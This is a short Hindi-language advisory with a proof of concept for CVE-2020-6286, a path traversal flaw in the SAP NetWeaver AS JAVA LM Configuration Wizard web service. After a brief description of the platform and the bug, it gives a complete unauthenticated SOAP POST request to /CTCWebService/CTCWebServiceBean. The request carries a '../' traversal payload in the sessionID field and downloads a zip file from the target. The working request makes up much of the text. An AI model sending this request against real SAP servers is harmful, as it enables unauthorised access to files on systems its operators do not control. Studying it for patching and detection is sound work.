
[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) डायरेक्टरी ट्रैवर्सल
[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) डायरेक्टरी ट्रावर्सल
SAP NetWeaver SAP का एकीकृत प्रौद्योगिकी प्लेटफ़ॉर्म है और SAP Business Suite के बाद से सभी SAP अनुप्रयोगों का तकनीकी आधार है। SAP NetWeaver एक सेवा-उन्मुख अनुप्रयोग और एकीकरण प्लेटफ़ॉर्म है जो SAP अनुप्रयोगों के लिए एक विकास और रनटाइम वातावरण प्रदान करता है, और इसका उपयोग अन्य अनुप्रयोगों और सिस्टमों के साथ कस्टम विकास और एकीकरण के लिए भी किया जा सकता है। SAP NetWeaver AS JAVA (LM Configuration Wizard), संस्करण 7.30, 7.31, 7.40, 7.50 के वेब सेवा में एक निश्चित पैरामीटर के अपर्याप्त इनपुट पथ सत्यापन के कारण, एक अनधिकृत हमलावर को एक विधि का शोषण करके विशिष्ट निर्देशिका में ज़िप फ़ाइलें डाउनलोड करने की अनुमति मिलती है, जिससे पथ ट्रावर्सल (Path Traversal) होता है।
सुरक्षा प्रूफ ऑफ कॉन्सेप्ट के लिए, आप निम्नलिखित अनुरोध का उपयोग कर सकते हैं। यदि दूरस्थ होस्ट पर ज़िप फ़ाइल मौजूद है, तो यह 111.zip फ़ाइल डाउनलोड करता है।
POST /CTCWebService/CTCWebServiceBean HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header />
<soapenv:Body>
<urn:queryProtocol>
<sessionID>/../../../../../../../../../../../../../../../../../..111</sessionID>
</urn:queryProtocol>
</soapenv:Body>
</soapenv:Envelope>